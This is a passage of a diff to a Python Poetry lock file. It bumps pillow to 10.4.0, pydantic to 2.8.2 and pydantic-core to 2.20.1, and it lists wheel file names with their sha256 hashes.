"sha256:dfe91cb65544a1321e631e696759491ae04a2ea11d36715eca01ce07284738be"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5dc6761a6efc781e6a1544206f22c80c3af4c8cf461206d46a1e6006e4429ff3"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e84b6cc6a4a3d76c153a6b19270b3526a5a8ed6b09501d3af891daa2a9de7d6"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:bbc527b519bd3aa9d7f429d152fea69f9ad37c95f0b02aebddff592688998abe"}, + {file = "pillow-10.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:76a911dfe51a36041f2e756b00f96ed84677cdeb75d25c767f296c1c1eda1319"}, + {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:59291fb29317122398786c2d44427bbd1a6d7ff54017075b22be9d21aa59bd8d"}, + {file = "pillow-10.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:416d3a5d0e8cfe4f27f574362435bc9bae57f679a7158e0096ad2beb427b8696"}, + {file = "pillow-10.4.0-cp311-cp311-win32.whl", hash = "sha256:7086cc1d5eebb91ad24ded9f58bec6c688e9f0ed7eb3dbbf1e4800280a896496"}, + {file = "pillow-10.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:cbed61494057c0f83b83eb3a310f0bf774b09513307c434d4366ed64f4128a91"}, + {file = "pillow-10.4.0-cp311-cp311-win_arm64.whl", hash = "sha256:f5f0c3e969c8f12dd2bb7e0b15d5c468b51e5017e01e2e867335c81903046a22"}, + {file = "pillow-10.4.0-cp312-cp312-macosx_10_10_x86_64.whl", hash = "sha256:673655af3eadf4df6b5457033f086e90299fdd7a47983a13827acf7459c15d94"}, + {file = "pillow-10.4.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:866b6942a92f56300012f5fbac71f2d610312ee65e22f1aa2609e491284e5597"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:29dbdc4207642ea6aad70fbde1a9338753d33fb23ed6956e706936706f52dd80"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf2342ac639c4cf38799a44950bbc2dfcb685f052b9e262f446482afaf4bffca"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:f5b92f4d70791b4a67157321c4e8225d60b119c5cc9aee8ecf153aace4aad4ef"}, + {file = "pillow-10.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:86dcb5a1eb778d8b25659d5e4341269e8590ad6b4e8b44d9f4b07f8d136c414a"}, + {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:780c072c2e11c9b2c7ca37f9a2ee8ba66f44367ac3e5c7832afcfe5104fd6d1b"}, + {file = "pillow-10.4.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:37fb69d905be665f68f28a8bba3c6d3223c8efe1edf14cc4cfa06c241f8c81d9"}, + {file = "pillow-10.4.0-cp312-cp312-win32.whl", hash = "sha256:7dfecdbad5c301d7b5bde160150b4db4c659cee2b69589705b6f8a0c509d9f42"}, + {file = "pillow-10.4.0-cp312-cp312-win_amd64.whl", hash = "sha256:1d846aea995ad352d4bdcc847535bd56e0fd88d36829d2c90be880ef1ee4668a"}, + {file = "pillow-10.4.0-cp312-cp312-win_arm64.whl", hash = "sha256:e553cad5179a66ba15bb18b353a19020e73a7921296a7979c4a2b7f6a5cd57f9"}, + {file = "pillow-10.4.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8bc1a764ed8c957a2e9cacf97c8b2b053b70307cf2996aafd70e91a082e70df3"}, + {file = "pillow-10.4.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6209bb41dc692ddfee4942517c19ee81b86c864b626dbfca272ec0f7cff5d9fb"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bee197b30783295d2eb680b311af15a20a8b24024a19c3a26431ff83eb8d1f70"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1ef61f5dd14c300786318482456481463b9d6b91ebe5ef12f405afbba77ed0be"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:297e388da6e248c98bc4a02e018966af0c5f92dfacf5a5ca22fa01cb3179bca0"}, + {file = "pillow-10.4.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:e4db64794ccdf6cb83a59d73405f63adbe2a1887012e308828596100a0b2f6cc"}, + {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:bd2880a07482090a3bcb01f4265f1936a903d70bc740bfcb1fd4e8a2ffe5cf5a"}, + {file = "pillow-10.4.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:4b35b21b819ac1dbd1233317adeecd63495f6babf21b7b2512d244ff6c6ce309"}, + {file = "pillow-10.4.0-cp313-cp313-win32.whl", hash = "sha256:551d3fd6e9dc15e4c1eb6fc4ba2b39c0c7933fa113b220057a34f4bb3268a060"}, + {file = "pillow-10.4.0-cp313-cp313-win_amd64.whl", hash = "sha256:030abdbe43ee02e0de642aee345efa443740aa4d828bfe8e2eb11922ea6a21ea"}, + {file = "pillow-10.4.0-cp313-cp313-win_arm64.whl", hash = "sha256:5b001114dd152cfd6b23befeb28d7aee43553e2402c9f159807bf55f33af8a8d"}, + {file = "pillow-10.4.0-cp38-cp38-macosx_10_10_x86_64.whl", hash = "sha256:8d4d5063501b6dd4024b8ac2f04962d661222d120381272deea52e3fc52d3736"}, + {file = "pillow-10.4.0-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:7c1ee6f42250df403c5f103cbd2768a28fe1a0ea1f0f03fe151c8741e1469c8b"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b15e02e9bb4c21e39876698abf233c8c579127986f8207200bc8a8f6bb27acf2"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7a8d4bade9952ea9a77d0c3e49cbd8b2890a399422258a77f357b9cc9be8d680"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:43efea75eb06b95d1631cb784aa40156177bf9dd5b4b03ff38979e048258bc6b"}, + {file = "pillow-10.4.0-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:950be4d8ba92aca4b2bb0741285a46bfae3ca699ef913ec8416c1b78eadd64cd"}, + {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:d7480af14364494365e89d6fddc510a13e5a2c3584cb19ef65415ca57252fb84"}, + {file = "pillow-10.4.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:73664fe514b34c8f02452ffb73b7a92c6774e39a647087f83d67f010eb9a0cf0"}, + {file = "pillow-10.4.0-cp38-cp38-win32.whl", hash = "sha256:e88d5e6ad0d026fba7bdab8c3f225a69f063f116462c49892b0149e21b6c0a0e"}, + {file = "pillow-10.4.0-cp38-cp38-win_amd64.whl", hash = "sha256:5161eef006d335e46895297f642341111945e2c1c899eb406882a6c61a4357ab"}, + {file = "pillow-10.4.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:0ae24a547e8b711ccaaf99c9ae3cd975470e1a30caa80a6aaee9a2f19c05701d"}, + {file = "pillow-10.4.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:298478fe4f77a4408895605f3482b6cc6222c018b2ce565c2b6b9c354ac3229b"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:134ace6dc392116566980ee7436477d844520a26a4b1bd4053f6f47d096997fd"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:930044bb7679ab003b14023138b50181899da3f25de50e9dbee23b61b4de2126"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:c76e5786951e72ed3686e122d14c5d7012f16c8303a674d18cdcd6d89557fc5b"}, + {file = "pillow-10.4.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:b2724fdb354a868ddf9a880cb84d102da914e99119211ef7ecbdc613b8c96b3c"}, + {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:dbc6ae66518ab3c5847659e9988c3b60dc94ffb48ef9168656e0019a93dbf8a1"}, + {file = "pillow-10.4.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:06b2f7898047ae93fad74467ec3d28fe84f7831370e3c258afa533f81ef7f3df"}, + {file = "pillow-10.4.0-cp39-cp39-win32.whl", hash = "sha256:7970285ab628a3779aecc35823296a7869f889b8329c16ad5a71e4901a3dc4ef"}, + {file = "pillow-10.4.0-cp39-cp39-win_amd64.whl", hash = "sha256:961a7293b2457b405967af9c77dcaa43cc1a8cd50d23c532e62d48ab6cdd56f5"}, + {file = "pillow-10.4.0-cp39-cp39-win_arm64.whl", hash = "sha256:32cda9e3d601a52baccb2856b8ea1fc213c90b340c542dcef77140dfa3278a9e"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5b4815f2e65b30f5fbae9dfffa8636d992d49705723fe86a3661806e069352d4"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:8f0aef4ef59694b12cadee839e2ba6afeab89c0f39a3adc02ed51d109117b8da"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9f4727572e2918acaa9077c919cbbeb73bd2b3ebcfe033b72f858fc9fbef0026"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ff25afb18123cea58a591ea0244b92eb1e61a1fd497bf6d6384f09bc3262ec3e"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:dc3e2db6ba09ffd7d02ae9141cfa0ae23393ee7687248d46a7507b75d610f4f5"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:02a2be69f9c9b8c1e97cf2713e789d4e398c751ecfd9967c18d0ce304efbf885"}, + {file = "pillow-10.4.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:0755ffd4a0c6f267cccbae2e9903d95477ca2f77c4fcf3a3a09570001856c8a5"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:a02364621fe369e06200d4a16558e056fe2805d3468350df3aef21e00d26214b"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:1b5dea9831a90e9d0721ec417a80d4cbd7022093ac38a568db2dd78363b00908"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9b885f89040bb8c4a1573566bbb2f44f5c505ef6e74cec7ab9068c900047f04b"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:87dd88ded2e6d74d31e1e0a99a726a6765cda32d00ba72dc37f0651f306daaa8"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:2db98790afc70118bd0255c2eeb465e9767ecf1f3c25f9a1abb8ffc8cfd1fe0a"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:f7baece4ce06bade126fb84b8af1c33439a76d8a6fd818970215e0560ca28c27"}, + {file = "pillow-10.4.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:cfdd747216947628af7b259d274771d84db2268ca062dd5faf373639d00113a3"}, + {file = "pillow-10.4.0.tar.gz", hash = "sha256:166c1cd4d24309b30d61f79f4a9114b7b2313d7450912277855ff5dfd7cd4a06"}, ] [package.extras] -docs = ["furo", "olefile", "sphinx (>=2.4)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinx-removed-in", "sphinxext-opengraph"] +docs = ["furo", "olefile", "sphinx (>=7.3)", "sphinx-copybutton", "sphinx-inline-tabs", "sphinxext-opengraph"] fpx = ["olefile"] mic = ["olefile"] tests = ["check-manifest", "coverage", "defusedxml", "markdown2", "olefile", "packaging", "pyroma", "pytest", "pytest-cov", "pytest-timeout"] @@ -1737,109 +1749,119 @@ files = [ [[package]] name = "pydantic" -version = "2.7.4" +version = "2.8.2" description = "Data validation using Python type hints" optional = false python-versions = ">=3.8" files = [ - {file = "pydantic-2.7.4-py3-none-any.whl", hash = "sha256:ee8538d41ccb9c0a9ad3e0e5f07bf15ed8015b481ced539a1759d8cc89ae90d0"}, - {file = "pydantic-2.7.4.tar.gz", hash = "sha256:0c84efd9548d545f63ac0060c1e4d39bb9b14db8b3c0652338aecc07b5adec52"}, + {file = "pydantic-2.8.2-py3-none-any.whl", hash = "sha256:73ee9fddd406dc318b885c7a2eab8a6472b68b8fb5ba8150949fc3db939f23c8"}, + {file = "pydantic-2.8.2.tar.gz", hash = "sha256:6f62c13d067b0755ad1c21a34bdd06c0c12625a22b0fc09c6b149816604f7c2a"}, ] [package.dependencies] annotated-types = ">=0.4.0" -pydantic-core = "2.18.4" -typing-extensions = ">=4.6.1" +pydantic-core = "2.20.1" +typing-extensions = {version = ">=4.6.1", markers = "python_version < \"3.13\""} [package.extras] email = ["email-validator (>=2.0.0)"] [[package]] name = "pydantic-core" -version = "2.18.4" +version = "2.20.1" description = "Core functionality for Pydantic validation and serialization" optional = false python-versions = ">=3.8" files = [ - {file = "pydantic_core-2.18.4-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:f76d0ad001edd426b92233d45c746fd08f467d56100fd8f30e9ace4b005266e4"}, - {file = "pydantic_core-2.18.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:59ff3e89f4eaf14050c8022011862df275b552caef8082e37b542b066ce1ff26"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a55b5b16c839df1070bc113c1f7f94a0af4433fcfa1b41799ce7606e5c79ce0a"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:4d0dcc59664fcb8974b356fe0a18a672d6d7cf9f54746c05f43275fc48636851"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8951eee36c57cd128f779e641e21eb40bc5073eb28b2d23f33eb0ef14ffb3f5d"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4701b19f7e3a06ea655513f7938de6f108123bf7c86bbebb1196eb9bd35cf724"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e00a3f196329e08e43d99b79b286d60ce46bed10f2280d25a1718399457e06be"}, - {file = "pydantic_core-2.18.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:97736815b9cc893b2b7f663628e63f436018b75f44854c8027040e05230eeddb"}, - {file = "pydantic_core-2.18.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:6891a2ae0e8692679c07728819b6e2b822fb30ca7445f67bbf6509b25a96332c"}, - {file = "pydantic_core-2.18.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bc4ff9805858bd54d1a20efff925ccd89c9d2e7cf4986144b30802bf78091c3e"}, - {file = "pydantic_core-2.18.4-cp310-none-win32.whl", hash = "sha256:1b4de2e51bbcb61fdebd0ab86ef28062704f62c82bbf4addc4e37fa4b00b7cbc"}, - {file = "pydantic_core-2.18.4-cp310-none-win_amd64.whl", hash = "sha256:6a750aec7bf431517a9fd78cb93c97b9b0c496090fee84a47a0d23668976b4b0"}, - {file = "pydantic_core-2.18.4-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:942ba11e7dfb66dc70f9ae66b33452f51ac7bb90676da39a7345e99ffb55402d"}, - {file = "pydantic_core-2.18.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b2ebef0e0b4454320274f5e83a41844c63438fdc874ea40a8b5b4ecb7693f1c4"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a642295cd0c8df1b86fc3dced1d067874c353a188dc8e0f744626d49e9aa51c4"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5f09baa656c904807e832cf9cce799c6460c450c4ad80803517032da0cd062e2"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:98906207f29bc2c459ff64fa007afd10a8c8ac080f7e4d5beff4c97086a3dabd"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19894b95aacfa98e7cb093cd7881a0c76f55731efad31073db4521e2b6ff5b7d"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0fbbdc827fe5e42e4d196c746b890b3d72876bdbf160b0eafe9f0334525119c8"}, - {file = "pydantic_core-2.18.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:f85d05aa0918283cf29a30b547b4df2fbb56b45b135f9e35b6807cb28bc47951"}, - {file = "pydantic_core-2.18.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:e85637bc8fe81ddb73fda9e56bab24560bdddfa98aa64f87aaa4e4b6730c23d2"}, - {file = "pydantic_core-2.18.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:2f5966897e5461f818e136b8451d0551a2e77259eb0f73a837027b47dc95dab9"}, - {file = "pydantic_core-2.18.4-cp311-none-win32.whl", hash = "sha256:44c7486a4228413c317952e9d89598bcdfb06399735e49e0f8df643e1ccd0558"}, - {file = "pydantic_core-2.18.4-cp311-none-win_amd64.whl", hash = "sha256:8a7164fe2005d03c64fd3b85649891cd4953a8de53107940bf272500ba8a788b"}, - {file = "pydantic_core-2.18.4-cp311-none-win_arm64.whl", hash = "sha256:4e99bc050fe65c450344421017f98298a97cefc18c53bb2f7b3531eb39bc7805"}, - {file = "pydantic_core-2.18.4-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:6f5c4d41b2771c730ea1c34e458e781b18cc668d194958e0112455fff4e402b2"}, - {file = "pydantic_core-2.18.4-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2fdf2156aa3d017fddf8aea5adfba9f777db1d6022d392b682d2a8329e087cef"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4748321b5078216070b151d5271ef3e7cc905ab170bbfd27d5c83ee3ec436695"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:847a35c4d58721c5dc3dba599878ebbdfd96784f3fb8bb2c356e123bdcd73f34"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3c40d4eaad41f78e3bbda31b89edc46a3f3dc6e171bf0ecf097ff7a0ffff7cb1"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:21a5e440dbe315ab9825fcd459b8814bb92b27c974cbc23c3e8baa2b76890077"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:01dd777215e2aa86dfd664daed5957704b769e726626393438f9c87690ce78c3"}, - {file = "pydantic_core-2.18.4-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4b06beb3b3f1479d32befd1f3079cc47b34fa2da62457cdf6c963393340b56e9"}, - {file = "pydantic_core-2.18.4-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:564d7922e4b13a16b98772441879fcdcbe82ff50daa622d681dd682175ea918c"}, - {file = "pydantic_core-2.18.4-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0eb2a4f660fcd8e2b1c90ad566db2b98d7f3f4717c64fe0a83e0adb39766d5b8"}, - {file = "pydantic_core-2.18.4-cp312-none-win32.whl", hash = "sha256:8b8bab4c97248095ae0c4455b5a1cd1cdd96e4e4769306ab19dda135ea4cdb07"}, - {file = "pydantic_core-2.18.4-cp312-none-win_amd64.whl", hash = "sha256:14601cdb733d741b8958224030e2bfe21a4a881fb3dd6fbb21f071cabd48fa0a"}, - {file = "pydantic_core-2.18.4-cp312-none-win_arm64.whl", hash = "sha256:c1322d7dd74713dcc157a2b7898a564ab091ca6c58302d5c7b4c07296e3fd00f"}, - {file = "pydantic_core-2.18.4-cp38-cp38-macosx_10_12_x86_64.whl", hash = "sha256:823be1deb01793da05ecb0484d6c9e20baebb39bd42b5d72636ae9cf8350dbd2"}, - {file = "pydantic_core-2.18.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:ebef0dd9bf9b812bf75bda96743f2a6c5734a02092ae7f721c048d156d5fabae"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ae1d6df168efb88d7d522664693607b80b4080be6750c913eefb77e34c12c71a"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f9899c94762343f2cc2fc64c13e7cae4c3cc65cdfc87dd810a31654c9b7358cc"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:99457f184ad90235cfe8461c4d70ab7dd2680e28821c29eca00252ba90308c78"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:18f469a3d2a2fdafe99296a87e8a4c37748b5080a26b806a707f25a902c040a8"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7cdf28938ac6b8b49ae5e92f2735056a7ba99c9b110a474473fd71185c1af5d"}, - {file = "pydantic_core-2.18.4-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:938cb21650855054dc54dfd9120a851c974f95450f00683399006aa6e8abb057"}, - {file = "pydantic_core-2.18.4-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:44cd83ab6a51da80fb5adbd9560e26018e2ac7826f9626bc06ca3dc074cd198b"}, - {file = "pydantic_core-2.18.4-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:972658f4a72d02b8abfa2581d92d59f59897d2e9f7e708fdabe922f9087773af"}, - {file = "pydantic_core-2.18.4-cp38-none-win32.whl", hash = "sha256:1d886dc848e60cb7666f771e406acae54ab279b9f1e4143babc9c2258213daa2"}, - {file = "pydantic_core-2.18.4-cp38-none-win_amd64.whl", hash = "sha256:bb4462bd43c2460774914b8525f79b00f8f407c945d50881568f294c1d9b4443"}, - {file = "pydantic_core-2.18.4-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:44a688331d4a4e2129140a8118479443bd6f1905231138971372fcde37e43528"}, - {file = "pydantic_core-2.18.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a2fdd81edd64342c85ac7cf2753ccae0b79bf2dfa063785503cb85a7d3593223"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:86110d7e1907ab36691f80b33eb2da87d780f4739ae773e5fc83fb272f88825f"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:46387e38bd641b3ee5ce247563b60c5ca098da9c56c75c157a05eaa0933ed154"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:123c3cec203e3f5ac7b000bd82235f1a3eced8665b63d18be751f115588fea30"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:dc1803ac5c32ec324c5261c7209e8f8ce88e83254c4e1aebdc8b0a39f9ddb443"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:53db086f9f6ab2b4061958d9c276d1dbe3690e8dd727d6abf2321d6cce37fa94"}, - {file = "pydantic_core-2.18.4-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:abc267fa9837245cc28ea6929f19fa335f3dc330a35d2e45509b6566dc18be23"}, - {file = "pydantic_core-2.18.4-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:a0d829524aaefdebccb869eed855e2d04c21d2d7479b6cada7ace5448416597b"}, - {file = "pydantic_core-2.18.4-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:509daade3b8649f80d4e5ff21aa5673e4ebe58590b25fe42fac5f0f52c6f034a"}, - {file = "pydantic_core-2.18.4-cp39-none-win32.whl", hash = "sha256:ca26a1e73c48cfc54c4a76ff78df3727b9d9f4ccc8dbee4ae3f73306a591676d"}, - {file = "pydantic_core-2.18.4-cp39-none-win_amd64.whl", hash = "sha256:c67598100338d5d985db1b3d21f3619ef392e185e71b8d52bceacc4a7771ea7e"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:574d92eac874f7f4db0ca653514d823a0d22e2354359d0759e3f6a406db5d55d"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:1f4d26ceb5eb9eed4af91bebeae4b06c3fb28966ca3a8fb765208cf6b51102ab"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:77450e6d20016ec41f43ca4a6c63e9fdde03f0ae3fe90e7c27bdbeaece8b1ed4"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d323a01da91851a4f17bf592faf46149c9169d68430b3146dcba2bb5e5719abc"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:43d447dd2ae072a0065389092a231283f62d960030ecd27565672bd40746c507"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:578e24f761f3b425834f297b9935e1ce2e30f51400964ce4801002435a1b41ef"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:81b5efb2f126454586d0f40c4d834010979cb80785173d1586df845a632e4e6d"}, - {file = "pydantic_core-2.18.4-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:ab86ce7c8f9bea87b9d12c7f0af71102acbf5ecbc66c17796cff45dae54ef9a5"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-macosx_10_12_x86_64.whl", hash = "sha256:90afc12421df2b1b4dcc975f814e21bc1754640d502a2fbcc6d41e77af5ec312"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:51991a89639a912c17bef4b45c87bd83593aee0437d8102556af4885811d59f5"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:293afe532740370aba8c060882f7d26cfd00c94cae32fd2e212a3a6e3b7bc15e"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b48ece5bde2e768197a2d0f6e925f9d7e3e826f0ad2271120f8144a9db18d5c8"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:eae237477a873ab46e8dd748e515c72c0c804fb380fbe6c85533c7de51f23a8f"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-musllinux_1_1_aarch64.whl", hash = "sha256:834b5230b5dfc0c1ec37b2fda433b271cbbc0e507560b5d1588e2cc1148cf1ce"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-musllinux_1_1_x86_64.whl", hash = "sha256:e858ac0a25074ba4bce653f9b5d0a85b7456eaddadc0ce82d3878c22489fa4ee"}, - {file = "pydantic_core-2.18.4-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:2fd41f6eff4c20778d717af1cc50eca52f5afe7805ee530a4fbd0bae284f16e9"}, - {file = "pydantic_core-2.18.4.tar.gz", 